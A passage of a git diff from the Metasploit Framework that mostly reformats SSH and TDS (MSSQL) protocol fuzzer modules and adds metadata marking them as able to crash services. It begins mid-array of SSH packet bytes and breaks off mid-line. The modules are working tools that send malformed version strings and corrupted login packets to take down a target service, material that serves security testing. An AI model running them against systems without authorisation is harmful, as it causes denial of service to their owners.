0x63, - 0x2c, 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, - 0x6c, 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, - 0x73, 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, - 0x75, 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, - 0x31, 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, - 0x61, 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, - 0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, - 0x36, 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, - 0x69, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, - 0x35, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, - 0x68, 0x61, 0x31, 0x2c, 0x75, 0x6d, 0x61, 0x63, - 0x2d, 0x36, 0x34, 0x40, 0x6f, 0x70, 0x65, 0x6e, - 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, - 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, - 0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x2c, 0x68, - 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, - 0x6d, 0x64, 0x31, 0x36, 0x30, 0x40, 0x6f, 0x70, - 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, - 0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, - 0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68, - 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2d, - 0x39, 0x36, 0x00, 0x00, 0x00, 0x69, 0x68, 0x6d, - 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2c, 0x68, - 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, - 0x2c, 0x75, 0x6d, 0x61, 0x63, 0x2d, 0x36, 0x34, - 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, - 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61, - 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, - 0x31, 0x36, 0x30, 0x2c, 0x68, 0x6d, 0x61, 0x63, - 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31, - 0x36, 0x30, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, - 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, - 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, - 0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61, 0x63, - 0x2d, 0x6d, 0x64, 0x35, 0x2d, 0x39, 0x36, 0x00, - 0x00, 0x00, 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, - 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, - 0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, - 0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, - 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70, - 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, - 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e, - 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*") + [ + 0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f, + 0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7, + 0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00, + 0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, + 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, + 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65, + 0x78, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x2d, + 0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64, + 0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, + 0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, + 0x6f, 0x75, 0x70, 0x2d, 0x65, 0x78, 0x63, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x2d, 0x73, 0x68, 0x61, + 0x31, 0x2c, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65, + 0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e, + 0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x31, 0x34, + 0x2d, 0x73, 0x68, 0x61, 0x31, 0x2c, 0x64, 0x69, + 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65, 0x6c, + 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72, 0x6f, + 0x75, 0x70, 0x31, 0x2d, 0x73, 0x68, 0x61, 0x31, + 0x00, 0x00, 0x00, 0x0f, 0x73, 0x73, 0x68, 0x2d, + 0x72, 0x73, 0x61, 0x2c, 0x73, 0x73, 0x68, 0x2d, + 0x64, 0x73, 0x73, 0x00, 0x00, 0x00, 0x9d, 0x61, + 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, 0x62, + 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, 0x63, + 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, 0x66, + 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, 0x2c, + 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, 0x2d, + 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, 0x66, + 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, 0x61, + 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, 0x35, + 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, + 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, 0x32, + 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, 0x73, + 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63, 0x2c, + 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, 0x6c, + 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, 0x73, + 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, 0x75, + 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, 0x31, + 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, 0x61, + 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, 0x74, + 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, 0x36, + 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, 0x9d, + 0x61, 0x65, 0x73, 0x31, 0x32, 0x38, 0x2d, 0x63, + 0x62, 0x63, 0x2c, 0x33, 0x64, 0x65, 0x73, 0x2d, + 0x63, 0x62, 0x63, 0x2c, 0x62, 0x6c, 0x6f, 0x77, + 0x66, 0x69, 0x73, 0x68, 0x2d, 0x63, 0x62, 0x63, + 0x2c, 0x63, 0x61, 0x73, 0x74, 0x31, 0x32, 0x38, + 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x72, 0x63, + 0x66, 0x6f, 0x75, 0x72, 0x31, 0x32, 0x38, 0x2c, + 0x61, 0x72, 0x63, 0x66, 0x6f, 0x75, 0x72, 0x32, + 0x35, 0x36, 0x2c, 0x61, 0x72, 0x63, 0x66, 0x6f, + 0x75, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x31, 0x39, + 0x32, 0x2d, 0x63, 0x62, 0x63, 0x2c, 0x61, 0x65, + 0x73, 0x32, 0x35, 0x36, 0x2d, 0x63, 0x62, 0x63, + 0x2c, 0x72, 0x69, 0x6a, 0x6e, 0x64, 0x61, 0x65, + 0x6c, 0x2d, 0x63, 0x62, 0x63, 0x40, 0x6c, 0x79, + 0x73, 0x61, 0x74, 0x6f, 0x72, 0x2e, 0x6c, 0x69, + 0x75, 0x2e, 0x73, 0x65, 0x2c, 0x61, 0x65, 0x73, + 0x31, 0x32, 0x38, 0x2d, 0x63, 0x74, 0x72, 0x2c, + 0x61, 0x65, 0x73, 0x31, 0x39, 0x32, 0x2d, 0x63, + 0x74, 0x72, 0x2c, 0x61, 0x65, 0x73, 0x32, 0x35, + 0x36, 0x2d, 0x63, 0x74, 0x72, 0x00, 0x00, 0x00, + 0x69, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, + 0x35, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, + 0x68, 0x61, 0x31, 0x2c, 0x75, 0x6d, 0x61, 0x63, + 0x2d, 0x36, 0x34, 0x40, 0x6f, 0x70, 0x65, 0x6e, + 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, + 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, + 0x65, 0x6d, 0x64, 0x31, 0x36, 0x30, 0x2c, 0x68, + 0x6d, 0x61, 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, + 0x6d, 0x64, 0x31, 0x36, 0x30, 0x40, 0x6f, 0x70, + 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, + 0x6d, 0x2c, 0x68, 0x6d, 0x61, 0x63, 0x2d, 0x73, + 0x68, 0x61, 0x31, 0x2d, 0x39, 0x36, 0x2c, 0x68, + 0x6d, 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2d, + 0x39, 0x36, 0x00, 0x00, 0x00, 0x69, 0x68, 0x6d, + 0x61, 0x63, 0x2d, 0x6d, 0x64, 0x35, 0x2c, 0x68, + 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, + 0x2c, 0x75, 0x6d, 0x61, 0x63, 0x2d, 0x36, 0x34, + 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, + 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, 0x6d, 0x61, + 0x63, 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, + 0x31, 0x36, 0x30, 0x2c, 0x68, 0x6d, 0x61, 0x63, + 0x2d, 0x72, 0x69, 0x70, 0x65, 0x6d, 0x64, 0x31, + 0x36, 0x30, 0x40, 0x6f, 0x70, 0x65, 0x6e, 0x73, + 0x73, 0x68, 0x2e, 0x63, 0x6f, 0x6d, 0x2c, 0x68, + 0x6d, 0x61, 0x63, 0x2d, 0x73, 0x68, 0x61, 0x31, + 0x2d, 0x39, 0x36, 0x2c, 0x68, 0x6d, 0x61, 0x63, + 0x2d, 0x6d, 0x64, 0x35, 0x2d, 0x39, 0x36, 0x00, + 0x00, 0x00, 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, + 0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, + 0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, + 0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, + 0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70, + 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f, + 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e, + 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + ].pack('C*') end end diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb index 49b1918591d13..f4270c8c7d107 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb @@ -3,31 +3,41 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SSH 1.5 Version Fuzzer', - 'Description' => %q{ - This module sends a series of SSH requests with malicious version strings. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SSH 1.5 Version Fuzzer', + 'Description' => %q{ + This module sends a series of SSH requests with malicious version strings. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(22) ]) end - def do_ssh_version(pkt,opts={}) + def do_ssh_version(pkt, opts = {}) @connected = false connect @connected = true - @banner = sock.get_once(-1,opts[:banner_timeout]) - return if not @banner + @banner = sock.get_once(-1, opts[:banner_timeout]) + return if !@banner + sock.put("#{pkt}\r\n") end @@ -36,40 +46,38 @@ def run last_inp = nil last_err = nil - ver = make_ssh_version_base + make_ssh_version_base cnt = 0 fuzz_strings do |str| cnt += 1 - pkt = ver + str - - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end begin - r = do_ssh_version(str,:banner_timeout => 5) + do_ssh_version(str, banner_timeout: 5) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end return end - if(not @banner) - print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ") + if !@banner + print_status("The service may have crashed (no banner): iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} ") return end @@ -79,6 +87,6 @@ def run end def make_ssh_version_base - "SSH-1.5-" + 'SSH-1.5-' end end diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb index afd5f3b5b04ad..7aea495b01f79 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb @@ -3,31 +3,41 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SSH 2.0 Version Fuzzer', - 'Description' => %q{ - This module sends a series of SSH requests with malicious version strings. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SSH 2.0 Version Fuzzer', + 'Description' => %q{ + This module sends a series of SSH requests with malicious version strings. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(22) ]) end - def do_ssh_version(pkt,opts={}) + def do_ssh_version(pkt, opts = {}) @connected = false connect @connected = true - @banner = sock.get_once(-1,opts[:banner_timeout]) - return if not @banner + @banner = sock.get_once(-1, opts[:banner_timeout]) + return if !@banner + sock.put("#{pkt}\r\n") end @@ -36,40 +46,38 @@ def run last_inp = nil last_err = nil - ver = make_ssh_version_base + make_ssh_version_base cnt = 0 fuzz_strings do |str| cnt += 1 - pkt = ver + str - - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end begin - r = do_ssh_version(str,:banner_timeout => 5) + do_ssh_version(str, banner_timeout: 5) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end return end - if(not @banner) - print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ") + if !@banner + print_status("The service may have crashed (no banner): iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} ") return end @@ -79,6 +87,6 @@ def run end def make_ssh_version_base - "SSH-2.0-" + 'SSH-2.0-' end end diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb index 84d619f114436..094f6a475e647 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb @@ -3,32 +3,42 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'SSH Version Corruption', - 'Description' => %q{ - This module sends a series of SSH requests with a corrupted version string - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'SSH Version Corruption', + 'Description' => %q{ + This module sends a series of SSH requests with a corrupted version string + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) register_options([ Opt::RPORT(22), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) ]) end - def do_ssh_version(pkt,opts={}) + def do_ssh_version(pkt, opts = {}) @connected = false connect @connected = true - @banner = sock.get_once(-1,opts[:banner_timeout]) - return if not @banner + @banner = sock.get_once(-1, opts[:banner_timeout]) + return if !@banner + sock.put("#{pkt}\r\n") end @@ -42,38 +52,38 @@ def run max = datastore['MAXDEPTH'].to_i max = nil if max == 0 - tot = ( max ? [max,pkt.length].min : pkt.length) * 256 + tot = (max ? [max, pkt.length].min : pkt.length) * 256 print_status("Fuzzing SSH version string with #{tot} requests") - fuzz_string_corrupt_byte_reverse(pkt,max) do |str| + fuzz_string_corrupt_byte_reverse(pkt, max) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt}/#{tot} using #{@last_fuzzer_input}") end begin - r = do_ssh_version(str,:banner_timeout => 5) + do_ssh_version(str, banner_timeout: 5) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end return end - if(not @banner) - print_status("The service may have crashed (no banner): iteration:#{cnt-1} method=#{last_inp} string=#{last_str.unpack("H*")[0]} ") + if !@banner + print_status("The service may have crashed (no banner): iteration:#{cnt - 1} method=#{last_inp} string=#{last_str.unpack('H*')[0]} ") return end @@ -83,6 +93,6 @@ def run end def make_ssh_version - "SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1" + 'SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1' end end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index 78af3d93d6f1f..aff8546b394d6 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -3,50 +3,56 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'TDS Protocol Login Request Corruption Fuzzer', - 'Description' => %q{ - This module sends a series of malformed TDS login requests. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'TDS Protocol Login Request Corruption Fuzzer', + 'Description' => %q{ + This module sends a series of malformed TDS login requests. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end # A copy of the mssql_login method with the ability to overload each option - def make_login(opts={}) - - pkt = "" - idx = 0 - db = "" + def make_login(opts = {}) + pkt = '' + db = '' pkt << [ - 0x00000000, # Dummy size - opts[:tds_version] || 0x71000001, # TDS Version - opts[:size] || 0x00000000, # Size - opts[:version] || 0x00000007, # Version - opts[:pid] || rand(1024+1), # PID - opts[:connection_id] || 0x00000000, # ConnectionID - opts[:flags_opt1] || 0xe0, # Option Flags 1 - opts[:flags_opt2] || 0x03, # Option Flags 2 + 0x00000000, # Dummy size + opts[:tds_version] || 0x71000001, # TDS Version + opts[:size] || 0x00000000, # Size + opts[:version] || 0x00000007, # Version + opts[:pid] || rand(1024 + 1), # PID + opts[:connection_id] || 0x00000000, # ConnectionID + opts[:flags_opt1] || 0xe0, # Option Flags 1 + opts[:flags_opt2] || 0x03, # Option Flags 2 opts[:flags_sql_type] || 0x00, # SQL Type Flags opts[:flags_reserved] || 0x00, # Reserved Flags - opts[:timezone] || 0x00000000, # Time Zone - opts[:collation] || 0x00000000 # Collation + opts[:timezone] || 0x00000000, # Time Zone + opts[:collation] || 0x00000000 # Collation ].pack('VVVVVVCCCCVV') - - cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) - pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) - aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || rhost ) - dname = Rex::Text.to_unicode( opts[:dname] || db ) + cname = Rex::Text.to_unicode(opts[:cname] || Rex::Text.rand_text_alpha(1..8)) + uname = Rex::Text.to_unicode(opts[:uname] || 'sa') + pname = opts[:pname_raw] || mssql_tds_encrypt(opts[:pname] || '') + aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(1..8)) + sname = Rex::Text.to_unicode(opts[:sname] || rhost) + dname = Rex::Text.to_unicode(opts[:dname] || db) idx = pkt.size + 50 # lengths below @@ -73,7 +79,7 @@ def make_login(opts={}) pkt << [idx, 0].pack('vv') pkt << [idx, dname.length / 2].pack('vv') - idx += dname.length + dname.length # The total length has to be embedded twice more here pkt << [ @@ -92,7 +98,7 @@ def make_login(opts={}) pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -103,16 +109,16 @@ def make_login(opts={}) pkt end - def do_login(pkt,opts={}) + def do_login(pkt, opts = {}) @connected = false - disconnect if self.sock + disconnect if sock connect @connected = true - resp = mssql_send_recv(pkt,opts[:timeout]) + resp = mssql_send_recv(pkt, opts[:timeout]) - info = {:errors => []} - info = mssql_parse_reply(resp,info) + info = { errors: [] } + info = mssql_parse_reply(resp, info) info end @@ -126,24 +132,24 @@ def run fuzz_string_corrupt_byte_reverse(pkt) do |str| cnt += 1 - if(cnt % 100 == 0) + if (cnt % 100 == 0) print_status("Fuzzing with iteration #{cnt} using #{@last_fuzzer_input}") end begin - do_login(str,:timeout => 0.50) + do_login(str, timeout: 0.50) rescue ::Interrupt print_status("Exiting on interrupt: iteration #{cnt} using #{@last_fuzzer_input}") - raise $! - rescue ::Exception => e + raise $ERROR_INFO + rescue StandardError => e last_err = e ensure disconnect end - if(not @connected) - if(last_str) - print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack("H*")[0]} error=#{last_err}") + if !@connected + if last_str + print_status("The service may have crashed: method=#{last_inp} string=#{last_str.unpack('H*')[0]} error=#{last_err}") else print_status("Could not connect to the service: #{last_err}") end diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 5de7a2109a292..42e2db1802c11 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -3,55 +3,61 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'English' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::MSSQL include Msf::Auxiliary::Fuzzer def initialize(info = {}) - super(update_info(info, - 'Name' => 'TDS Protocol Login Request Username Fuzzer', - 'Description' => %q{ - This module sends a series of malformed TDS login requests. - }, - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) + super( + update_info( + info, + 'Name' => 'TDS Protocol Login Request Username Fuzzer', + 'Description' => %q{ + This module sends a series of malformed TDS login requests. + }, + 'Author' => [ 'hdm' ], + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SERVICE_DOWN], + 'SideEffects' => [], + 'Reliability' => [] + } + ) + ) end # A copy of the mssql_login method with the ability to overload each option - def do_login(opts={}) - + def do_login(opts = {}) @connected = false - disconnect if self.sock + disconnect if sock connect @connected = true - pkt = "" - idx = 0 - db = "" + pkt = '' + db = '' pkt << [ - 0x00000000, # Dummy size - opts[:tds_version] || 0x71000001, # TDS Version - opts[:size] || 0x00000000, # Size - opts[:version] || 0x00000007, # Version - opts[:pid] || rand(1024+1), # PID - opts[:connection_id] || 0x00000000, # ConnectionID - opts[:flags_opt1] || 0xe0, # Option Flags 1 - opts[:flags_opt2] || 0x03, # Option Flags 2 + 0x00000000, # Dummy size + opts[:tds_version] || 0x71000001, # TDS Version + opts[:size] || 0x00000000, # Size + opts[:version] || 0x00000007, # Version + opts[:pid] || rand(1024 + 1), # PID + opts[:connection_id] || 0x00000000, # ConnectionID + opts[:flags_opt1] || 0xe0, # Option Flags 1 + opts[:flags_opt2] || 0x03, # Option Flags 2 opts[:flags_sql_type] || 0x00, # SQL Type Flags opts[:flags_reserved] || 0x00, # Reserved Flags - opts[:timezone] || 0x00000000, # Time Zone - opts[:collation] || 0x00000000 # Collation + opts[:timezone] || 0x00000000, # Time Zone + opts[:collation] || 0x00000000 # Collation ].pack('VVVVVVCCCCVV') - - cname = Rex::Text.to_unicode( opts[:cname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - uname = Rex::Text.to_unicode( opts[:uname] || "sa" ) - pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" ) - aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) ) - sname = Rex::Text.to_unicode( opts[:sname] || rhost ) - dname = Rex::Text.to_unicode( opts[:dname] || db ) + cname = Rex::Text.to_unicode(opts[:cname] || Rex::Text.rand_text_alpha(1..8)) + uname = Rex::Text.to_unicode(opts[:uname] || 'sa') + pname = opts[:pname_raw] || mssql_tds_encrypt(opts[:pname] || '') + aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(1..8)) + sname = Rex::Text.to_unicode(opts[:sname] || rhost) + dname = Rex::Text.to_unicode(opts[:dname] || db) idx = pkt.size + 50 # lengths below @@ -78,7 +84,6 @@ def do_login(opts={}) pkt << [idx, 0].pack('vv') pkt << [idx, dname.length / 2].pack('vv') - idx += dname.length # The total length has to be embedded twice more here pkt << [ @@ -97,7 +102,7 @@ def do_login(opts={}) pkt << dname # Total packet length - pkt[0,4] = [pkt.length].pack('V') + pkt[0, 4] = [pkt.length].pack('V') # Embedded packet lengths pkt[pkt.index([0x12345678].pack('V')), 8] = [pkt.length].pack('V') * 2 @@ -105,10 +110,10 @@ def do_login(opts={}) # Packet header and total length including header pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt - resp = mssql_send_recv(pkt,opts[:timeout]) + resp = mssql_send_recv(pkt, opts[:timeout]) - info = {:errors => []} - info = 